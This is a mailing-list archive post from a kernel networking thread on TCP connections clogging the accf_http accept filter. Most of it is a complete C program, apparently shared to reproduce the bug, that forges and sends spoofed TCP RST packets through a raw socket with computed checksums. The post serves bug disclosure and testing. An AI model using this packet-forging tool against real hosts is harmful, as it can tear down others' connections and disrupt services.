tech-net archive

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index][Old Index]

Re: TCP connections clogging up accf_http(9) (was: ESTABLISHED sockets with no fd open? (was: generating ECONNRESET with no syscall?))



> (*) Attached is [...]
it hopefully now.

Attachment: accfpwn.sh
Description: Bourne shell script

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>

#include <arpa/inet.h> 
#include <err.h>
#include <netinet/in.h> 
#include <netinet/ip.h> 
#include <netinet/tcp.h> 
#include <sys/socket.h>
#include <sys/types.h> 
#include <unistd.h>

// for checksumming
struct psd_tcp
{
	struct in_addr src;
	struct in_addr dst;
	uint8_t pad;
	uint8_t proto;
	uint16_t tcp_len;
	struct tcphdr tcp;
} __packed;


uint16_t
in_cksum(uint16_t *addr, int len)
{
	int nleft = len;
	int sum = 0;
	uint16_t *w = addr;
	uint16_t answer = 0;

	while (nleft > 1) {
		sum += *w++;
		nleft -= 2;
	}

	if (nleft == 1) {
		*(uint8_t *)&answer = *(uint8_t *)w;
		sum += answer;
	}
	
	sum = (sum >> 16) + (sum & 0xFFFF);
	sum += (sum >> 16);
	answer = ~sum;
	return (answer);
}


uint16_t
in_cksum_tcp(uint32_t src, uint32_t dst, uint16_t *addr, int len)
{
	struct psd_tcp buf;
	u_short ans;

	memset(&buf, 0, sizeof(buf));
	buf.src.s_addr = src;
	buf.dst.s_addr = dst;
	buf.pad = 0;
	buf.proto = IPPROTO_TCP;
	buf.tcp_len = htons(len);
	memcpy(&(buf.tcp), addr, len);
	ans = in_cksum((uint16_t *)&buf, 12 + len);
	return (ans);
}


void
mkipv4hdr(struct ip *d, const char *fromip, const char *toip, size_t paylen, int proto)
{
	d->ip_hl = 5; /* header length */
	d->ip_v = 4; /* version */
	d->ip_tos = 0; /* type of service */
	d->ip_len = 20+paylen; /* total length */
	d->ip_id = 0; /* identification */
	d->ip_off = 0; /* fragment offset field */
	d->ip_ttl = 64; /* time to live */
	d->ip_p = proto; /* protocol */
	inet_pton(AF_INET, fromip, &d->ip_src.s_addr);
	inet_pton(AF_INET, toip, &d->ip_dst.s_addr);
	d->ip_sum = in_cksum((uint16_t *)d, sizeof *d);
}


void
mktcphdr(struct tcphdr *d, uint16_t fromport, uint16_t toport, uint32_t seq, uint32_t ack, uint8_t flags)
{
	d->th_sport = htons(fromport); /* source port */
	d->th_dport = htons(toport); /* destination port */
	d->th_seq = htonl(seq); /* sequence number */
	d->th_ack = htonl(ack); /* acknowledgement number */
	d->th_x2 = 0; /* (unused) */
	d->th_off = 5; /* data offset */
	d->th_flags = flags;
	d->th_win = htons(8192); /* window */
	d->th_urp = 0; /* urgent pointer */
}


void
mksockaddr_in(const char *ip, uint16_t port, struct sockaddr_in *dst)
{
	errno = 0;
	int r = inet_pton(AF_INET, ip, &dst->sin_addr);
	if (r == 0)
		errx(1, "illegal ipv4 string '%s'", ip);

	if (r < 0)
		err(1, "inet_pton");

	dst->sin_family = AF_INET;
	dst->sin_port = htons(port);
}


// usage: fakerst <sender addr> <sender port> <receiver addr> <receiver port> <seq no> <ack no>
int
main(int argc, char **argv)
{
	const char *fromip = argv[1];
	uint16_t fromport = (uint16_t)strtoul(argv[2], NULL, 10);
	const char *toip = argv[3];
	uint16_t toport = (uint16_t)strtoul(argv[4], NULL, 10);
	uint32_t seq, ack;
	seq = (uint32_t)strtoul(argv[5], NULL, 10);
	ack = (uint32_t)strtoul(argv[6], NULL, 10);

	int sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (sck == -1)
		err(1, "socket");

	int hincl = 1;
	if (setsockopt(sck, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)) == -1)
		err(1, "setsockopt");

	uint8_t pkgbuf[512];
	struct ip ip;
	struct tcphdr tcp;

	memset(&ip, 0, sizeof ip);
	memset(&tcp, 0, sizeof tcp);
	mktcphdr(&tcp, fromport, toport, seq, ack, 4);
	mkipv4hdr(&ip, fromip, toip, 20, 6);
	tcp.th_sum = in_cksum_tcp(ip.ip_src.s_addr, ip.ip_dst.s_addr, (unsigned short *)&tcp, sizeof(tcp));
	memcpy(pkgbuf, &ip, 20);
	memcpy(pkgbuf+20, &tcp, 20);

	struct sockaddr_in sa;
	memset(&sa, 0, sizeof sa);
	mksockaddr_in(toip, toport, &sa);

	// for (int i = 0; i < 40; i++) {
	// 	printf("%02hhx ", pkgbuf[i]);
	// 	if (i % 4 == 3)
	// 		puts("");
	// }
	// puts("");

	if (sendto(sck, pkgbuf, 40, 0, (struct sockaddr *)&sa, sizeof sa) < 0)
		err(1, "sendto");

	close(sck);

	return 0;
}



Home | Main Index | Thread Index | Old Index